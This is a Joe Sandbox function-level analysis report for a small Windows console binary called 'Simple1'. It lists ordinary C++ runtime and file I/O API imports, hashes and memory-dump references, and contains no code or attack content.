Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?flush@?$basic_ostream@_?put@?$basic_ostream@_?widen@?$basic_ios@_V12@V12@_
String ID:
API String ID: 2094784882-0
Opcode ID: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction ID: 6ecb08d6e333033f6714284b75812a80da1a25c4c557291efde2b7555d3df8fb
Opcode Fuzzy Hash: 7bf1451799b23f1ce879a372c8a86a1a3bb4693dc89d3fb925bfda278d19c75c
Instruction Fuzzy Hash: 28D01724A84A0682EA08AF27F8941385360AF89F66B88A031DD0F47320CE3CE0998220

Function 00007FF71E399BD0 Relevance: 4.5, APIs: 3, Instructions: 17COMMON

Download Yara Rule

APIs

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QEBADD@Z.MSVCP140 ref: 00007FF71E399BE5
?put@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@D@Z.MSVCP140 ref: 00007FF71E399BF1
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E399BFA

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@V12@$?flush@?$basic_ostream@_?put@?$basic_ostream@?widen@?$basic_ios@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2670548386-0
Opcode ID: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction ID: a6ffe65a04afd2a62f7306a5c8c1ac49df4ebe87db92eaddecd9a8f09b22fe91
Opcode Fuzzy Hash: a91e5c45519eb8f51b08b89dc2630a913814ba17e6fe4b3f6d8b063faadf772a
Instruction Fuzzy Hash: A0D01221A44A06C1DA086F17F8540345350AF49F51B4C5435ED0F06320CE3CE0598220

Function 00007FF71E396BC0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_fseeki64.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF71E396C31
fgetpos.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF71E396C47

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: _fseeki64fgetpos
String ID:
API String ID: 3401907645-0
Opcode ID: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction ID: 5eaf73bb514663998cf0fd4bd9f205eef384b2f3ee4a535e6f6740df57c6d5c5
Opcode Fuzzy Hash: 84d1aada89cd4f08e3bbf216dfcb77ee72de2ef28ea993f6e0146b415928d795
Instruction Fuzzy Hash: 20314172605F4181EB609F1AD550368B3A0FB98FE8F848135EE5D877A4DF38E49AC710

Function 00007FF71E397530 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00007FF71E391A88), ref: 00007FF71E3975C6
?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ.MSVCP140(?,?,?,00007FF71E391A88), ref: 00007FF71E3975D7

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@Init@?$basic_streambuf@U?$char_traits@fclose
String ID:
API String ID: 356833432-0
Opcode ID: 6ce735ca48fa2ee1b099f78e9ccbb34916796cd0af07463176dd75adeae5a579
Instruction ID: 0f210a8ad2cfe57f69d187fe7b4826b93c2b31b291a2dbc75ffdf8f07c778d19
Opcode Fuzzy Hash: 6ce735ca48fa2ee1b099f78e9ccbb34916796cd0af07463176dd75adeae5a579
Instruction Fuzzy Hash: 0A21E632A09F4184DB459F3AE45436877A4F748F58F85403ADA4D873A4DF38E499C760

Function 00007FF71E3983C0 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF71E398417

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ff8da17e9ad61dbf7719b97cca7bcf2c3e620e3851f2e18b518f5e34869978b3
Instruction ID: b8f0a4d72c7067be9db7eda11bc4477464a5d51d5cdf6cada44ca7a7162090cd
Opcode Fuzzy Hash: ff8da17e9ad61dbf7719b97cca7bcf2c3e620e3851f2e18b518f5e34869978b3
Instruction Fuzzy Hash: 45018C76B18F5482DA04AF1AE24006EA775FB88FC8B948536DF5C07B59DF38E5A28340

Non-executed Functions

Function 00007FF71E39BFAC Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF71E39BFC8
memset.VCRUNTIME140 ref: 00007FF71E39BFEC
RtlCaptureContext.KERNEL32 ref: 00007FF71E39BFF5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF71E39C00F
RtlVirtualUnwind.KERNEL32 ref: 00007FF71E39C050
memset.VCRUNTIME140 ref: 00007FF71E39C083
IsDebuggerPresent.KERNEL32 ref: 00007FF71E39C0A4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF71E39C0C1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF71E39C0CC

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction ID: 9cb3e9a5abc0d325b38117bab4bd86cabf62a197b27f49dcf6d47d70ddb7d553
Opcode Fuzzy Hash: b33f0b59232ef77628a0e21157c01a396e23f4d8de78da469aa8954c23b2d4cb
Instruction Fuzzy Hash: AF311E72605F8186EB649F61E8403EDB3A4FB84754F84443EDA4E47B95DF38E548C724

Function 00007FF71E39C1BC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF71E39C1E8
GetCurrentThreadId.KERNEL32 ref: 00007FF71E39C1F6
GetCurrentProcessId.KERNEL32 ref: 00007FF71E39C202
QueryPerformanceCounter.KERNEL32 ref: 00007FF71E39C212

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction ID: bcdb5b7cd1fcfe416b6b5943453cbe6f08d9d6827129c8497391d3b3c66cbf2a
Opcode Fuzzy Hash: 26322efcc4006b2a3fbf51e2f5d46ec533835fa6bb93ff54a7596d062d660e14
Instruction Fuzzy Hash: 73117336B14F0189EB00DF61E8552B973A4F758768F841D35EA6D867A4DF3CE19883A0

Function 00007FF71E39C150 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction ID: 56313b015c6b67dcc105e90fcaf3a1ba4babd957f76379f31d702a52e59f4276
Opcode Fuzzy Hash: 7219aed77cf3d566d0c56852d0d3a0fd15ec5d75e91c4be2dfb621eecc1fe0a9
Instruction Fuzzy Hash: 75A0022190CC06D0E648BB02E950131A370FB50760BC0447DF00E411B49F3CB428C338

Function 00007FF71E391520 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39157F
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF71E39159E
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E3915D2
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF71E391609
isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF71E391648
?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF71E39166D
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF71E39169B
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E391782
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E39178C

Part of subcall function 00007FF71E399820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39986D
Part of subcall function 00007FF71E399820: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E39988D
Part of subcall function 00007FF71E399820: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39989D
Part of subcall function 00007FF71E399820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E3998FD
Part of subcall function 00007FF71E399820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E399926
Part of subcall function 00007FF71E399820: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E39995D

Strings

_, xrefs: 00007FF71E391659
~, xrefs: 00007FF71E39165E

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$?sputc@?$basic_streambuf@$??6?$basic_ostream@?good@ios_base@std@@V01@$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@?flush@?$basic_ostream@_?setw@std@@D@std@@@1@_J@1@_Smanip@_U?$_U?$char_traits@_V12@V21@@V?$basic_streambuf@Vios_base@1@W@std@@@std@@isalnum
String ID: _$~
API String ID: 2365617078-3740536066
Opcode ID: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction ID: d0fa9b26b34ef3add3d41e3e0d5303c01b66ac5f735f027da970c1213b1faaa4
Opcode Fuzzy Hash: 8f68b8c8258da5cd91e34a757c6f19a2daf3b84494c5e989e5e3b3f3a5cd17a5
Instruction Fuzzy Hash: 80718032A18E8186EB10EF55E4502BEB7A0FB84BA8F85453ADE4D53768DF7CE449C710

Function 00007FF71E398BE0 Relevance: 15.3, APIs: 10, Instructions: 333COMMON

Download Yara Rule

APIs

?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF71E398CC0
memcpy.VCRUNTIME140 ref: 00007FF71E398D7D
memcpy.VCRUNTIME140 ref: 00007FF71E398FA9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E398FDE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39901D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E399060
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E399099
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39909F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E3990A5

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn$memcpy$?out@?$codecvt@Mbstatet@@Mbstatet@@@std@@
String ID:
API String ID: 4130688501-0
Opcode ID: cfd1beb5ca8a44b69c7c7c5046c50dfb179123356a759ba1980d50ea050ef1cc
Instruction ID: ca6f8453a07024555c5ba925afb1f0cd7a981d22718f2c2079cf1282094cf5ae
Opcode Fuzzy Hash: cfd1beb5ca8a44b69c7c7c5046c50dfb179123356a759ba1980d50ea050ef1cc
Instruction Fuzzy Hash: D8D1A122F19F4295FB10EB64E4403BDA2A1AB84BA4F844239DE6D13BD5DF3CF4898310

Function 00007FF71E399820 Relevance: 13.6, APIs: 9, Instructions: 132COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39986D
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E39988D
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39989D
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E3998FD
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E399926
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E39995D
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF71E3999A1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF71E3999A8
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF71E3999B5

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: ?sputc@?$basic_streambuf@D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 569342377-0
Opcode ID: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction ID: bf438ff8029a0d06f694c04a57b6a2b044b23c441d121c4a1d1aff1626af5de2
Opcode Fuzzy Hash: 37b8ee53cb8b00479985113fba4434682f5c23c40aa0f0a0174690d29aea351c
Instruction Fuzzy Hash: D8516232609E82C6EB109F1AD5D023CA7A0FF84FA5B55853ADE5E477A0CF39E45AC310

Function 00007FF71E39B250 Relevance: 13.6, APIs: 9, Instructions: 131COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39B2B5
?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF71E39B2D5
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF71E39B2E5
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E39B32C
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF71E39B359
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF71E39B37A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF71E39B3C0
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF71E39B3C7
?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF71E39B3D4

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@_V12@
String ID:
API String ID: 1135186806-0
Opcode ID: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction ID: 3b0eb7bb6b3a869176deec747ca0287b4c31d6f791fc30e69649e3c421e849f3
Opcode Fuzzy Hash: b45920d080d8d4678659f56451c6e88468ea0ecd66730601f2742ce8c786c4e1
Instruction Fuzzy Hash: 63510F32608E4181EB64EF1AD5D023DE7A0EB85FA5F95853ADE8F43760CF39E44A8314

Function 00007FF71E3990C0 Relevance: 10.8, APIs: 7, Instructions: 273COMMON

Download Yara Rule

APIs

?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z.MSVCP140 ref: 00007FF71E3991A6
memcpy.VCRUNTIME140 ref: 00007FF71E39925E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E399353
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39946E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3994BE
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E3994C5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E3994CB

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$?in@?$codecvt@Mbstatet@@Mbstatet@@@std@@memcpy
String ID:
API String ID: 281699261-0
Opcode ID: 3309dcd0081c79f594bfde7a105637bedcb09065e6d06f78406e03dfd8012cc7
Instruction ID: 54719967397778c08f18396f73d42bde6f79505329d3ae536702cd17f60b4825
Opcode Fuzzy Hash: 3309dcd0081c79f594bfde7a105637bedcb09065e6d06f78406e03dfd8012cc7
Instruction Fuzzy Hash: 9CB18362F18E4699FB00EB69D4842BDB371EB487A8F844639DA5D13BD8DF38E148C350

Function 00007FF71E396EF0 Relevance: 10.7, APIs: 7, Instructions: 177COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF71E396FA2

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 94e8ab0efe7d4b137a3b05c93b30f3fe4500affb8bd3879b5ab15718a847d132
Instruction ID: f2b0beecd3622907dc0310c151331a2aeb6d63e6aba39d8ddb23d7fc15cde8bd
Opcode Fuzzy Hash: 94e8ab0efe7d4b137a3b05c93b30f3fe4500affb8bd3879b5ab15718a847d132
Instruction Fuzzy Hash: 4781AC32B14E4199EB109F65D4803AC77B4FB48B68F84163ADE5E53B94DF38E499C320

Function 00007FF71E39AE70 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF71E39AF04
memcpy.VCRUNTIME140 ref: 00007FF71E39AF48
memcpy.VCRUNTIME140 ref: 00007FF71E39AF60
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39AFE8
memcpy.VCRUNTIME140 ref: 00007FF71E39B015
memcpy.VCRUNTIME140 ref: 00007FF71E39B030
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39B053

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction ID: 5ee538150ef3474ec6b10ddbf307e297fa9b9a376d13c76e2a7e97e9bdb3f72e
Opcode Fuzzy Hash: ec63268d6026fec8c3c01620d9734fc28b0be693d76d74db511f0e55b27b6a49
Instruction Fuzzy Hash: 9451C062A08F8181EA14AF21D5042A9A3A0FB14BA8F94463ADF6D17792DF38F599D350

Function 00007FF71E39AC60 Relevance: 10.6, APIs: 7, Instructions: 145COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,00007FF71E3957DE), ref: 00007FF71E39ACF7
memcpy.VCRUNTIME140(?,?,?,00007FF71E3957DE), ref: 00007FF71E39AD42
memcpy.VCRUNTIME140(?,?,?,00007FF71E3957DE), ref: 00007FF71E39AD5A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF71E3957DE), ref: 00007FF71E39ADF9

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

